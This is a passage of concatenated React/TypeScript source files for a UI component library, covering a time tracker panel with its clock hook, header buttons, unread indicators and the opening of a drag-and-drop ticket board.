'../../ui/tag'\nimport { Textarea } from '../../ui/textarea'\nimport {\n  ArrowRightUpIcon,\n  CheckCircleIcon,\n  CheckIcon,\n  Chevron02RightIcon,\n  ClockHistoryIcon,\n  DotsLoaderIcon,\n  PauseIcon,\n  PlayIcon,\n  PlusCircleIcon,\n  XmarkIcon,\n} from '../../icons-v2-generated'\nimport { useTrackerClock } from './use-tracker-clock'\nimport type { TimeTrackerData, TimeTrackerEntry, TimeTrackerStatus } from './types'\n\ninterface CustomerAutocompleteOption extends AutocompleteOption {\n  imageUrl?: string\n}\n\nfunction renderCustomerOption(option: AutocompleteOption, isSelected: boolean) {\n  const { label, imageUrl } = option as CustomerAutocompleteOption\n  return (\n    <div className=\"flex w-full min-w-0 items-center justify-between gap-[var(--spacing-system-xs)]\">\n      <div className=\"flex min-w-0 items-center gap-[var(--spacing-system-xs)]\">\n        <SquareAvatar src={imageUrl} alt={label} fallback={label} size=\"sm\" variant=\"square\" />\n        <span className=\"truncate\" title={label}>\n          {label}\n        </span>\n      </div>\n      {isSelected && <CheckIcon className=\"text-ods-accent\" size={20} />}\n    </div>\n  )\n}\n\nexport interface TimeTrackerPanelProps extends TimeTrackerData {\n  onClose: () => void\n  className?: string\n}\n\nexport function TimeTrackerPanel({\n  status,\n  runningSince,\n  accumulatedMs,\n  ticketOptions,\n  selectedTicketId,\n  onSelectedTicketChange,\n  onTicketSearch,\n  ticketsLoading,\n  customerOptions,\n  selectedCustomerId,\n  onSelectedCustomerChange,\n  onCustomerSearch,\n  customersLoading,\n  customerLocked,\n  notes,\n  onNotesChange,\n  lastEntries,\n  onStart,\n  onPause,\n  onResume,\n  onCancel,\n  onSubmit,\n  onManualEntry,\n  onOpenMyTime,\n  onOpenMyTimeMenu,\n  onEntryClick,\n  isStarting,\n  isSubmitting,\n  onClose,\n  className,\n}: TimeTrackerPanelProps) {\n  const elapsedLabel = useTrackerClock({ status, runningSince, accumulatedMs })\n\n  const [showValidationError, setShowValidationError] = useState(false)\n\n  const isRunning = status === 'tracking'\n  const isActive = status !== 'ready'\n  const hasContent = selectedTicketId != null || notes.trim() !== ''\n  const showFieldError = isActive && showValidationError && !hasContent\n\n  // Reset the validation flag once a session ends so the next one starts clean.\n  useEffect(() => {\n    if (status === 'ready') setShowValidationError(false)\n  }, [status])\n\n  const handleSubmit = () => {\n    if (!hasContent) {\n      setShowValidationError(true)\n      return\n    }\n    onSubmit()\n  }\n\n  const handleManualEntry = onManualEntry\n    ? () => {\n        onClose()\n        onManualEntry()\n      }\n    : undefined\n  const handleEntryClick = onEntryClick\n    ? (entry: TimeTrackerEntry) => {\n        onClose()\n        onEntryClick(entry)\n      }\n    : undefined\n  const handleOpenMyTime = onOpenMyTime\n    ? () => {\n        onClose()\n        onOpenMyTime()\n      }\n    : undefined\n  const handleCancel = () => {\n    onClose()\n    onCancel()\n  }\n\n  const ticketAutocompleteOptions: AutocompleteOption[] = ticketOptions.map((t) => ({\n    label: t.label,\n    value: t.id,\n  }))\n\n  const showCustomer = !!onSelectedCustomerChange\n  const customerAutocompleteOptions: CustomerAutocompleteOption[] = (customerOptions ?? []).map((c) => ({\n    label: c.label,\n    value: c.id,\n    imageUrl: c.imageUrl,\n  }))\n  const selectedCustomer = customerAutocompleteOptions.find((o) => o.value === selectedCustomerId)\n  const customerStartAdornment = selectedCustomer ? (\n    <SquareAvatar\n      src={selectedCustomer.imageUrl}\n      alt={selectedCustomer.label}\n      fallback={selectedCustomer.label}\n      size=\"sm\"\n      variant=\"square\"\n    />\n  ) : undefined\n\n  const visibleEntries = lastEntries.slice(0, 3)\n\n  return (\n    <div\n      className={cn(\n        'relative flex max-h-[calc(100vh-6rem)] w-full flex-col gap-[var(--spacing-system-l)] overflow-y-auto rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-m)]',\n        className,\n      )}\n    >\n      <Button\n        variant=\"transparent\"\n        size=\"icon-sm\"\n        onClick={onClose}\n        aria-label=\"Close time tracker\"\n        className=\"absolute right-[var(--spacing-system-sf)] top-[var(--spacing-system-sf)] hidden text-ods-text-secondary hover:text-ods-text-primary md:inline-flex [&_svg]:!size-6\"\n      >\n        <XmarkIcon />\n      </Button>\n\n      {/* Status + timer + ticket assignment */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-m)]\">\n        <div className=\"flex items-center gap-[var(--spacing-system-s)]\">\n          <StatusTag status={status} />\n          {isActive && (\n            <Button\n              variant=\"transparent\"\n              onClick={handleCancel}\n              className=\"h-auto p-0 text-h6 font-medium text-ods-text-secondary underline hover:bg-transparent hover:text-ods-text-primary md:h-auto\"\n            >\n              Cancel Entry\n            </Button>\n          )}\n        </div>\n\n        <div className=\"flex items-stretch overflow-hidden rounded-md border border-ods-border\">\n          <div className=\"flex flex-1 items-center border-r border-ods-border bg-ods-bg px-[var(--spacing-system-m)] py-[var(--spacing-system-s)]\">\n            <span\n              className={cn(\n                'text-h3 !font-mono font-bold tabular-nums',\n                isActive ? 'text-ods-text-primary' : 'text-ods-text-secondary',\n              )}\n            >\n              {elapsedLabel}\n            </span>\n          </div>\n\n          <Button\n            size=\"icon\"\n            variant={isActive ? 'transparent' : 'accent'}\n            onClick={status === 'tracking' ? onPause : status === 'paused' ? onResume : onStart}\n            disabled={isStarting}\n            aria-label={isRunning ? 'Pause tracking' : isActive ? 'Resume tracking' : 'Start tracking'}\n            className=\"h-auto w-auto rounded-none transition-none [&_svg]:!size-6\"\n          >\n            {isRunning ? <PauseIcon /> : <PlayIcon />}\n          </Button>\n\n          {isActive && (\n            <Button\n              size=\"icon\"\n              variant=\"accent\"\n              onClick={handleSubmit}\n              disabled={isSubmitting}\n              aria-label=\"Finish and save tracking\"\n              className=\"h-auto w-auto rounded-none border-l border-ods-border [&_svg]:!size-6\"\n            >\n              <CheckCircleIcon />\n            </Button>\n          )}\n        </div>\n\n        <div className={cn('grid gap-[var(--spacing-system-m)]', showCustomer && 'grid-cols-2')}>\n          <Autocomplete\n            value={selectedTicketId}\n            onChange={onSelectedTicketChange}\n            options={ticketAutocompleteOptions}\n            placeholder=\"Select Ticket\"\n            loading={ticketsLoading}\n            invalid={showFieldError}\n            error={showFieldError ? 'Required if no notes added' : undefined}\n            disableClientFilter={!!onTicketSearch}\n            onInputChange={(value, reason) => {\n              if (reason === 'input') onTicketSearch?.(value)\n            }}\n          />\n          {showCustomer && (\n            <Autocomplete\n              value={selectedCustomerId ?? null}\n              onChange={onSelectedCustomerChange}\n              options={customerAutocompleteOptions}\n              placeholder=\"Select Customer\"\n              loading={customersLoading}\n              disabled={customerLocked}\n              disableClientFilter={!!onCustomerSearch}\n              onInputChange={(value, reason) => {\n                if (reason === 'input') onCustomerSearch?.(value)\n              }}\n              startAdornment={customerStartAdornment}\n              renderOption={renderCustomerOption}\n            />\n          )}\n        </div>\n      </div>\n\n      <Textarea\n        value={notes}\n        onChange={(e) => onNotesChange(e.target.value)}\n        invalid={showFieldError}\n        error={showFieldError ? 'Required if no ticket assigned' : undefined}\n        placeholder=\"Additional Notes (optional if ticket selected)\"\n        className=\"max-h-[280px]\"\n      />\n\n      {/* Last entries + footer */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-m)]\">\n        {visibleEntries.length === 0 ? (\n          <div className=\"flex min-h-[268px] flex-col items-center justify-center gap-[var(--spacing-system-l)] p-[var(--spacing-system-l)] text-center text-ods-text-secondary\">\n            <ClockHistoryIcon className=\"size-6\" />\n            <div className=\"flex flex-col\">\n              <p className=\"text-h4 font-medium\">No time logged</p>\n              <p className=\"text-h6\">Last entries will appear here</p>\n            </div>\n          </div>\n        ) : (\n          <div className=\"flex flex-col gap-[var(--spacing-system-xs)]\">\n            <p className=\"font-mono text-h6 uppercase tracking-wide text-ods-text-secondary\">Last Entries</p>\n            <div className=\"overflow-hidden rounded-md border border-ods-border bg-ods-card\">\n              {visibleEntries.map((entry) => (\n                <LastEntryRow key={entry.id} entry={entry} onClick={handleEntryClick} />\n              ))}\n            </div>\n          </div>\n        )}\n\n        <div className=\"grid grid-cols-2 gap-[var(--spacing-system-m)]\">\n          <Button\n            variant=\"outline\"\n            className=\"min-w-0\"\n            onClick={handleManualEntry}\n            disabled={!onManualEntry}\n            leftIcon={<PlusCircleIcon className=\"text-ods-text-secondary\" />}\n          >\n            Manual Entry\n          </Button>\n          <SplitButton\n            variant=\"outline\"\n            fullWidth\n            className=\"min-w-0\"\n            onClick={handleOpenMyTime}\n            disabled={!onOpenMyTime && !onOpenMyTimeMenu}\n            mainDisabled={!onOpenMyTime}\n            groupAriaLabel=\"Open my time\"\n            iconAction={{\n              icon: <ArrowRightUpIcon size={24} />,\n              'aria-label': 'Open my time in a new view',\n              onClick: onOpenMyTimeMenu,\n              disabled: !onOpenMyTimeMenu,\n              openInNewTab: true,\n            }}\n          >\n            Open My Time\n          </SplitButton>\n        </div>\n      </div>\n\n      <Button variant=\"outline\" fullWidth onClick={onClose} className=\"md:hidden\">\n        Close\n      </Button>\n    </div>\n  )\n}\n\nconst STATUS_TAG_SKIN = 'gap-[var(--spacing-system-xs)] font-mono font-medium uppercase tracking-tight'\n\nfunction StatusTag({ status }: { status: TimeTrackerStatus }) {\n  if (status === 'tracking') {\n    return (\n      <Tag variant=\"success\" className={STATUS_TAG_SKIN} icon={<DotsLoaderIcon className=\"h-4 w-4\" />} label=\"Tracking\" />\n    )\n  }\n  if (status === 'paused') {\n    return <Tag variant=\"warning\" className={STATUS_TAG_SKIN} icon={<PauseIcon className=\"h-4 w-4\" />} label=\"Paused\" />\n  }\n  return <Tag variant=\"grey\" className={STATUS_TAG_SKIN} label=\"Ready to Track\" />\n}\n\ninterface LastEntryRowProps {\n  entry: TimeTrackerEntry\n  onClick?: (entry: TimeTrackerEntry) => void\n}\n\nfunction LastEntryRow({ entry, onClick }: LastEntryRowProps) {\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-m)] border-b border-ods-border bg-ods-bg px-[var(--spacing-system-m)] py-[var(--spacing-system-sf)] last:border-b-0\">\n      <div className=\"flex w-[88px] shrink-0 flex-col justify-center\">\n        <span className=\"truncate text-h4 font-medium text-ods-text-primary\">{entry.durationLabel}</span>\n        <span className=\"truncate text-h6 text-ods-text-secondary\">{entry.dateLabel}</span>\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-col justify-center\">\n        <span className=\"truncate text-h4 font-medium text-ods-text-primary\">{entry.title}</span>\n        {entry.description && (\n          <span className=\"truncate text-h6 text-ods-text-secondary\">{entry.description}</span>\n        )}\n      </div>\n\n      <Button\n        variant=\"outline\"\n        size=\"icon\"\n        onClick={() => onClick?.(entry)}\n        disabled={!onClick}\n        aria-label={`Open entry: ${entry.title}`}\n        className=\"h-12 w-12 shrink-0 [&_svg]:!size-6\"\n      >\n        <Chevron02RightIcon />\n      </Button>\n    </div>\n  )\n}\n","'use client'\n\nimport { useEffect, useState } from 'react'\nimport type { TimeTrackerStatus } from './types'\n\nexport interface UseTrackerClockArgs {\n  status: TimeTrackerStatus\n  /** Epoch ms the current running segment started (only used while tracking). */\n  runningSince?: number | null\n  /** Elapsed ms accrued before the current running segment. */\n  accumulatedMs?: number\n}\n\nfunction formatElapsed(totalMs: number): string {\n  const totalSeconds = Math.max(0, Math.floor(totalMs / 1000))\n  const hours = Math.floor(totalSeconds / 3600)\n  const minutes = Math.floor((totalSeconds % 3600) / 60)\n  const seconds = totalSeconds % 60\n  const pad = (n: number) => String(n).padStart(2, '0')\n  return `${pad(hours)}:${pad(minutes)}:${pad(seconds)}`\n}\n\n/**\n * Display-only timer. Ticks once per second while `status === 'tracking'`; otherwise\n * renders the static `accumulatedMs`. Returns a formatted `HH:MM:SS` string.\n */\nexport function useTrackerClock({ status, runningSince, accumulatedMs = 0 }: UseTrackerClockArgs): string {\n  const [now, setNow] = useState(() => Date.now())\n\n  useEffect(() => {\n    if (status !== 'tracking') return\n    setNow(Date.now())\n    const id = setInterval(() => setNow(Date.now()), 1000)\n    return () => clearInterval(id)\n  }, [status, runningSince])\n\n  const liveMs = status === 'tracking' && runningSince ? now - runningSince : 0\n  return formatElapsed(accumulatedMs + liveMs)\n}\n","'use client';\n\nimport * as PopoverPrimitive from '@radix-ui/react-popover';\nimport { useEffect, useRef } from 'react';\nimport { cn } from '../../../utils/cn';\nimport { ClockHistoryIcon } from '../../icons-v2-generated/date-and-time/clock-history-icon';\nimport {\n  type AppLayoutDrawerHandle,\n  useAppLayoutDrawerContainer,\n  useAppLayoutDrawerCoordination,\n} from '../../navigation/app-layout-context';\nimport { HeaderButton } from '../../navigation/header-button';\nimport { OVERLAY_BACKDROP_CLASS } from '../../ui/drawer';\nimport { useOptionalTimeTracker } from './time-tracker-context';\nimport { TimeTrackerPanel } from './time-tracker-panel';\nimport { useTrackerClock } from './use-tracker-clock';\n\nexport interface TimeTrackerHeaderButtonProps {\n  /** Dimming/disabled passthrough from the header. */\n  className?: string;\n  disabled?: boolean;\n}\n\n/**\n * Header affordance for the time tracker. Renders nothing unless wrapped in a\n * `<TimeTrackerProvider>`. The trigger is the standard `HeaderButton`; when a\n * session is active it also shows the live elapsed time. The popup is a Radix\n * Popover anchored under the button (not a modal/drawer). Inside AppLayout the\n * dim backdrop covers only the main content area (header and sidebar stay\n * interactive) and the popup joins the layout's panel coordination — opening\n * it closes any open in-layout drawer and vice versa. Outside AppLayout it\n * falls back to a viewport-wide backdrop.\n */\nexport function TimeTrackerHeaderButton({ className, disabled }: TimeTrackerHeaderButtonProps) {\n  const ctx = useOptionalTimeTracker();\n  const elapsedLabel = useTrackerClock({\n    status: ctx?.status ?? 'ready',\n    runningSince: ctx?.runningSince,\n    accumulatedMs: ctx?.accumulatedMs,\n  });\n  const layoutContainer = useAppLayoutDrawerContainer();\n  const coordination = useAppLayoutDrawerCoordination();\n\n  const isOpen = ctx?.isOpen ?? false;\n  const isOpenRef = useRef(isOpen);\n  isOpenRef.current = isOpen;\n  const closeRef = useRef(ctx?.close);\n  closeRef.current = ctx?.close;\n  // Stable handle: the same object must be registered AND passed as `self`\n  // to notifyDrawerDidOpen so the coordinator can skip it when closing the\n  // other panels.\n  const selfHandleRef = useRef<AppLayoutDrawerHandle | null>(null);\n  if (!selfHandleRef.current) {\n    selfHandleRef.current = {\n      close: () => {\n        if (isOpenRef.current) closeRef.current?.();\n      },\n    };\n  }\n\n  useEffect(() => {\n    if (isOpen) coordination?.notifyDrawerDidOpen(selfHandleRef.current ?? undefined);\n  }, [isOpen, coordination]);\n\n  useEffect(() => {\n    if (!selfHandleRef.current) return;\n    return coordination?.registerDrawer(selfHandleRef.current);\n  }, [coordination]);\n\n  if (!ctx) return null;\n\n  const { open, close, status } = ctx;\n  const isPaused = status === 'paused';\n  const isActive = status === 'tracking' || isPaused;\n\n  return (\n    <PopoverPrimitive.Root open={isOpen} onOpenChange={next => (next ? open() : close())}>\n      <PopoverPrimitive.Trigger asChild>\n        <HeaderButton\n          aria-label=\"Time tracker\"\n          isActive={isOpen}\n          disabled={disabled}\n          className={cn(\n            'outline-none',\n            // ODS top-navigation spec (Figma 2797-5978): the active cell keeps\n            // its square icon-only footprint on mobile and becomes a fixed\n            // 144px cell with the live clock from md up.\n            isActive &&\n              'md:w-auto md:min-w-[144px] md:justify-center md:gap-[var(--spacing-system-xsf)] md:px-[var(--spacing-system-sf)]',\n            className,\n          )}\n          icon={\n            <>\n              <ClockHistoryIcon\n                className={cn(\n                  'h-6 w-6',\n                  isPaused ? 'text-ods-text-secondary' : isActive && 'text-ods-accent',\n                )}\n              />\n              {isActive && (\n                <span\n                  className={cn(\n                    'hidden md:inline text-h5 md:text-h4 !font-mono',\n                    isPaused ? 'text-ods-text-secondary' : 'text-ods-text-primary',\n                  )}\n                >\n                  {elapsedLabel}\n                </span>\n              )}\n            </>\n          }\n        />\n      </PopoverPrimitive.Trigger>\n      {/* Popovers have no built-in overlay — portal a dim backdrop behind the\n          panel. Clicks land on it (outside Content), so Radix still closes the\n          popover. Own Portal: Radix's Portal slots a single child. Inside\n          AppLayout the backdrop portals into the main-area container (absolute,\n          AppLayoutDrawer-overlay tier) so header/sidebar stay undimmed and\n          interactive; standalone it dims the whole viewport. */}\n      <PopoverPrimitive.Portal container={layoutContainer ?? undefined}>\n        <div\n          aria-hidden=\"true\"\n          data-state={isOpen ? 'open' : 'closed'}\n          className={cn(\n            layoutContainer ? 'absolute inset-0 z-[102]' : 'fixed inset-0 z-[1299]',\n            OVERLAY_BACKDROP_CLASS,\n            'data-[state=open]:animate-in data-[state=open]:fade-in-0',\n            'data-[state=closed]:animate-out data-[state=closed]:fade-out-0',\n          )}\n        />\n      </PopoverPrimitive.Portal>\n      <PopoverPrimitive.Portal>\n        <PopoverPrimitive.Content\n          align=\"end\"\n          sideOffset={8}\n          collisionPadding={8}\n          className={cn(\n            'z-[1300] w-[460px] max-w-[calc(100vw-1rem)] outline-none',\n            'data-[state=open]:animate-in data-[state=closed]:animate-out',\n            'data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0',\n            'data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95',\n          )}\n        >\n          <TimeTrackerPanel {...ctx} onClose={close} />\n        </PopoverPrimitive.Content>\n      </PopoverPrimitive.Portal>\n    </PopoverPrimitive.Root>\n  );\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { UnreadDot } from './unread-dot'\n\nexport interface HeaderButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {\n  /** Whether the button is in active/pressed state */\n  isActive?: boolean\n  /** Icon to display in the button */\n  icon: React.ReactNode\n  /** Render the shared `UnreadDot` at the icon's top-right (the\n   *  notifications-bell treatment, promoted to the cell primitive so\n   *  indicator cells never copy the dot markup). */\n  showUnreadDot?: boolean\n  /** Additional class names */\n  className?: string\n}\n\nexport function HeaderButton({\n  isActive = false,\n  icon,\n  showUnreadDot = false,\n  className,\n  ...props\n}: HeaderButtonProps) {\n  return (\n    <button\n      className={cn(\n        \"flex items-center justify-center shrink-0\",\n        \"transition-colors duration-200\",\n        // Square cell width follows the TopNavigation size (56px small /\n        // 72px big) via the shell's --top-nav-cell var; 56px fallback for\n        // standalone use.\n        \"w-[var(--top-nav-cell,3.5rem)] h-full\",\n        isActive\n          ? \"text-ods-text-primary bg-ods-bg-active\"\n          : // Transparent at rest so the cell inherits the bar's background\n            // (TopNavigation `backgroundClassName` can differ per platform).\n            \"text-ods-text-secondary bg-transparent hover:bg-ods-bg-hover\",\n        className\n      )}\n      {...props}\n    >\n      {showUnreadDot ? (\n        <span className=\"relative inline-flex\">\n          {icon}\n          <UnreadDot />\n        </span>\n      ) : (\n        icon\n      )}\n    </button>\n  )\n}\n\nexport default HeaderButton\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\n\n/**\n * The ONE unread-indicator dot (`bg-ods-warning`, top-right of an icon\n * inside a `relative` wrapper). Previously duplicated in\n * `NotificationsHeaderButton` and `NavigationSidebarItemButton` — both\n * now render THIS, as does `TicketAlertsButton`.\n *\n * Size variants preserve the two pre-existing renders exactly (neither\n * may silently change):\n *   - `responsive` — header cells: `w-1.5 h-1.5 md:w-2 md:h-2`\n *   - `fixed`      — sidebar collapsed icon: `w-2 h-2`\n */\nexport interface UnreadDotProps {\n  size?: 'responsive' | 'fixed'\n  className?: string\n}\n\nexport function UnreadDot({ size = 'responsive', className }: UnreadDotProps) {\n  return (\n    <span\n      className={cn(\n        'absolute top-0 right-0 bg-ods-warning rounded-full',\n        size === 'responsive' ? 'w-1.5 h-1.5 md:w-2 md:h-2' : 'w-2 h-2',\n        className,\n      )}\n    />\n  )\n}\n\n/**\n * Count variant of the unread indicator — a small accent pill anchored\n * top-right of an icon inside a `relative` wrapper, clamped at \"9+\".\n * Same family as `UnreadDot` (dot = \"something new\", count = \"N new\");\n * the sidebar's expanded-row pill stays its own larger treatment.\n */\nexport interface UnreadCountBadgeProps {\n  count: number\n  className?: string\n}\n\nexport function UnreadCountBadge({ count, className }: UnreadCountBadgeProps) {\n  if (count <= 0) return null\n  return (\n    <span\n      className={cn(\n        'absolute -top-1.5 -right-1.5 flex items-center justify-center',\n        'min-w-4 h-4 px-1 rounded-full bg-ods-accent',\n        'text-badge text-ods-text-on-accent leading-none',\n        className,\n      )}\n    >\n      {count > 9 ? '9+' : count}\n    </span>\n  )\n}\n\nexport default UnreadDot\n","'use client'\n\nimport { combine } from '@atlaskit/pragmatic-drag-and-drop/combine'\nimport { monitorForElements } from '@atlaskit/pragmatic-drag-and-drop/element/adapter'\nimport { preventUnhandled } from '@atlaskit/pragmatic-drag-and-drop/utils/prevent-unhandled'\nimport { Fragment, useCallback, useEffect, useMemo, useRef, useState, type ReactNode } from 'react'\nimport { createPortal } from 'react-dom'\nimport { useHorizontalScrollbar } from '../../../hooks/ui/use-horizontal-scrollbar'\nimport { useIsomorphicLayoutEffect } from '../../../hooks/ui/use-isomorphic-layout-effect'\nimport { autoScrollAncestors, autoScrollBothWays } from '../../../utils/auto-scroll-ancestors'\nimport { nearestScrollableAncestor } from '../../../utils/scroll-parent'\nimport { cn } from '../../../utils/cn'\nimport { BoardColumn } from './board-column'\nimport { BoardLiftContext, type DropAim, DropAimContext, isSameAim } from './drop-aim'\nimport { aimAnchor, aimFromTarget, aimToChange, type ArrowKey, type BoardAim, initialAim, laneOf, moveAim } from './aim'\nimport { cardById, DROP_LINE_ATTRIBUTE } from './lane-geometry'\nimport { DRAG_PREVIEW_OPACITY, TicketCardView } from './ticket-card'\nimport { applyPendingMove, hasMoveSettled, LandingCardContext, type PendingMove } from './pending-move'\nimport { resolveBoardDrop } from './resolve-drop'\nimport type { BoardChange, BoardColumnDef, BoardTicket } from './types'\nimport { useBoardCollapse } from './use-board-collapse'\n\n/** How long the board may keep standing in for `columns` while waiting for the\n *  host's answer. Only a host that drops the change on the floor ever reaches\n *  this — it exists so a failed move can't be shown as done forever, not as a\n *  timing assumption. */\nconst PENDING_MOVE_TIMEOUT_MS = 2000\n\n/** How long a dropped card takes to travel from the pointer into its slot. */\nconst DROP_MS = 160\nconst DROP_EASING = 'cubic-bezier(0.2, 0, 0, 1)'\n\n/** Above the header, modals and drawers, below toasts — a card being carried\n *  has to clear everything it is being carried over. */\nconst DRAG_PREVIEW_Z = 1400\n\nconst ARROW_KEYS: ArrowKey[] = ['ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight']\n\n/** What it takes to draw the carried card again, at rest, exactly where the\n *  browser's drag image was when it was let go. Measured once at drag start. */\ninterface DragGeometry {\n  ticket: BoardColumnDef['tickets'][number]\n  columnColor?: string\n  width: number\n  /** Pointer-to-card-corner offset, so the copy lands under the same grip. */\n  grabX: number\n  grabY: number\n}\n\n/** The short-lived copy that glides into the slot after a drop. */\ninterface LandingPreview extends DragGeometry {\n  /** Where the pointer was when the card was released. */\n  startX: number\n  startY: number\n}\n\nexport interface BoardProps {\n  columns: BoardColumnDef[]\n  onChange: (change: BoardChange) => void\n  onLoadMore?: (columnId: string) => void\n  onAddTicket?: (columnId: string) => void\n  onArchiveColumn?: (columnId: string) => void\n  getTicketHref?: (ticketId: string) => string\n  renderAssignSlot?: (ticket: BoardColumnDef['tickets'][number]) => ReactNode\n  onApprove?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onReject?: (ticketId: string, requestId?: string) => void | Promise<void>\n  collapseStorageKey?: string\n  loadMoreRootMargin?: string\n  className?: string\n}\n\n/**\n * The board renders `columns` and nothing else — there is no local mirror of\n * them, and a drag in progress changes no state here at all.\n *\n * That is the whole design. A card that previews its move by actually moving in\n * the data has to re-enter React on every lane crossing, which re-mounts it\n * under a new parent and re-measures the board; guarding that cascade is what\n * the old dnd-kit implementation spent a frame-freeze and a unit-tested rules\n * module on. Here the preview is a line drawn by the card being hovered, the\n * data moves once, on drop, and the cascade has nothing to feed on.\n */\nexport function Board({\n  columns,\n  onChange,\n  onLoadMore,\n  onAddTicket,\n  onArchiveColumn,\n  getTicketHref,\n  renderAssignSlot,\n  onApprove,\n  onReject,\n  collapseStorageKey,\n  loadMoreRootMargin,\n  className,\n}: BoardProps) {\n  const { collapsed, toggle } = useBoardCollapse(collapseStorageKey)\n\n  const {\n    scrollRef,\n    trackRef,\n    thumbRef,\n    thumbRatio,\n    onScroll,\n    onTrackClick,\n    onTrackWheel,\n    onThumbPointerDown,\n    onThumbPointerMove,\n    onThumbPointerUp,\n  } = useHorizontalScrollbar()\n\n  // The monitor is registered once for the board's lifetime; these keep it\n  // reading current values without tearing it down on every render.\n  const columnsRef = useRef(columns)\n  const onChangeRef = useRef(onChange)\n  onChangeRef.current = onChange\n\n  // `useHorizontalScrollbar` hands back a callback ref, and auto-scroll needs\n  // the node itself — so keep our own alongside it on the same element.\n  const boardRef = useRef<HTMLDivElement | null>(null)\n  const scrollerRef = useRef<HTMLDivElement | null>(null)\n  const setScroller = useCallback(\n    (node: HTMLDivElement | null) => {\n      scrollerRef.current = node\n      scrollRef(node)\n    },\n    [scrollRef],\n  )\n\n  // Where the drop points. One answer for the whole board, handed to the cards\n  // so the preview follows it wherever it came from — see `drop-aim.ts`.\n  const [aim, setAim] = useState<DropAim | null>(null)\n\n  // A card lifted with the keyboard. Jira's model, and the only one that works\n  // here: an arrow key cannot commit a move of its own, because each one would\n  // be a separate write to the server — so the card is lifted, walked to where\n  // it belongs, and put down once.\n  const [lifted, setLifted] = useState<{ ticketId: string; aim: BoardAim } | null>(null)\n  const [announcement, setAnnouncement] = useState('')\n\n  // The card being carried is the browser's own drag image (see\n  // `ticket-card.tsx`), so nothing here follows the pointer and a drag re-renders\n  // nothing. This is measured at drag start and only used at the end, to put a\n  // copy back where that image was and glide it into place.\n  const dragGeometry = useRef<DragGeometry | null>(null)\n  const [landingPreview, setLandingPreview] = useState<LandingPreview | null>(null)\n  const previewRef = useRef<HTMLDivElement | null>(null)\n\n  // A move that has been reported but not answered yet. The board shows it\n  // itself for that gap — see `pending-move.ts` for why the card cannot simply\n  // wait for the host, and why waiting is what made a drop look like the ticket\n  // disappearing and reappearing.\n  const [pendingMove, setPendingMove] = useState<PendingMove | null>(null)\n  const view = useMemo(() => (pendingMove ? applyPendingMove(columns, pendingMove) : columns), [columns, pendingMove])\n  // EVERYTHING downstream reads `view`, never `columns`: it is what is on\n  // screen, so it is also what a drag, a keyboard move and a drop are about.\n  // `columns` is only ever consulted to ask whether the host has caught up.\n  columnsRef.current = view\n\n  // The card still travelling from the pointer into the slot it landed in. The\n  // preview is over it for that moment, so the card itself is hidden.\n  const [landing, setLanding] = useState<string | null>(null)\n  const landingTimer = useRef<ReturnType<typeof setTimeout> | null>(null)\n  /** Where the pointer was last seen, in the same terms the preview is placed. */\n  const pointRef = useRef({ x: 0, y: 0 })\n\n  // ---- keyboard move -------------------------------------------------------\n\n  const laneLabel = useCallback(\n    (columnId: string) => view.find(c => c.id === columnId)?.label ?? columnId,\n    [view],\n  )\n\n  /** Lanes the lifted card is allowed into — the same rules a pointer drop obeys. */\n  const acceptsLifted = useCallback(\n    (fromColumnId: string) => (column: BoardColumnDef) => {\n      if (column.dropDisabled || collapsed[column.id]) return false\n      if (column.id === fromColumnId) return true\n      return !column.allowedFromColumns || column.allowedFromColumns.includes(fromColumnId)\n    },\n    [collapsed],\n  )\n\n  const lift = useCallback(\n    (ticketId: string) => {\n      const start = initialAim(view, ticketId)\n      if (!start) return\n      setLifted({ ticketId, aim: start })\n      const title = laneOf(view, ticketId)?.tickets.find(t => t.id === ticketId)?.title ?? 'Ticket'\n      setAnnouncement(`${title} lifted. Use the arrow keys to move it, space to drop it, escape to put it back.`)\n    },\n    [view],\n  )\n\n  const drop = useCallback(() => {\n    if (!lifted) return\n    const change = aimToChange(view, lifted.ticketId, lifted.aim)\n    setLifted(null)\n    if (!change) {\n      setAnnouncement('Put back where it was.')\n      return\n    }\n    setAnnouncement(`Dropped into ${laneLabel(change.toColumnId)}.`)\n    setPendingMove({\n      ticketId: change.ticketId,\n      fromColumnId: change.fromColumnId,\n      toColumnId: change.toColumnId,\n      afterTicketId: change.afterTicketId,\n    })\n    onChange(change)\n  }, [lifted, view, laneLabel, onChange])\n\n  const walk = useCallback(\n    (key: ArrowKey) => {\n      if (!lifted) return\n      const from = laneOf(view, lifted.ticketId)?.id ?? lifted.aim.columnId\n      const next = moveAim(view, lifted.ticketId, lifted.aim, key, acceptsLifted(from))\n      if (next === lifted.aim) return\n      setLifted({ ...lifted, aim: next })\n      const total = (view.find(c => c.id === next.columnId)?.tickets ?? []).filter(\n        t => t.id !== lifted.ticketId,\n      ).length\n      setAnnouncement(`${laneLabel(next.columnId)}, position ${next.index + 1} of ${total + 1}.`)\n    },\n    [lifted, view, acceptsLifted, laneLabel],\n  )\n\n  // Handled on the board rather than on each card: once a card is lifted the\n  // keys belong to the move, not to whatever happens to hold focus.\n  useEffect(() => {\n    if (!lifted) return\n    const onKeyDown = (event: KeyboardEvent) => {\n      if (event.key === 'Escape') {\n        setLifted(null)\n        setAnnouncement('Move cancelled.')\n      } else if (event.key === ' ' || event.key === 'Enter') {\n        drop()\n      } else if (ARROW_KEYS.includes(event.key as ArrowKey)) {\n        walk(event.key as ArrowKey)\n      } else {\n        return\n      }\n      // Arrows would scroll the lane out from under the card, and space would\n      // scroll the page.\n      event.preventDefault()\n    }\n    window.addEventListener('keydown', onKeyDown)\n    return () => window.removeEventListener('keydown', onKeyDown)\n  }, [lifted, drop, walk])\n\n  // A card walked with the keyboard has to be visible where it is being walked\n  // to. A pointer drag brings its own scrolling — auto-scroll follows it to the\n  // edges — but arrow keys move nothing on screen, so a slot below the fold, or\n  // in a lane scrolled off the side of the board, was being aimed at completely\n  // out of sight. `lifted` is a new object on every step, so this runs per step.\n  useEffect(() => {\n    if 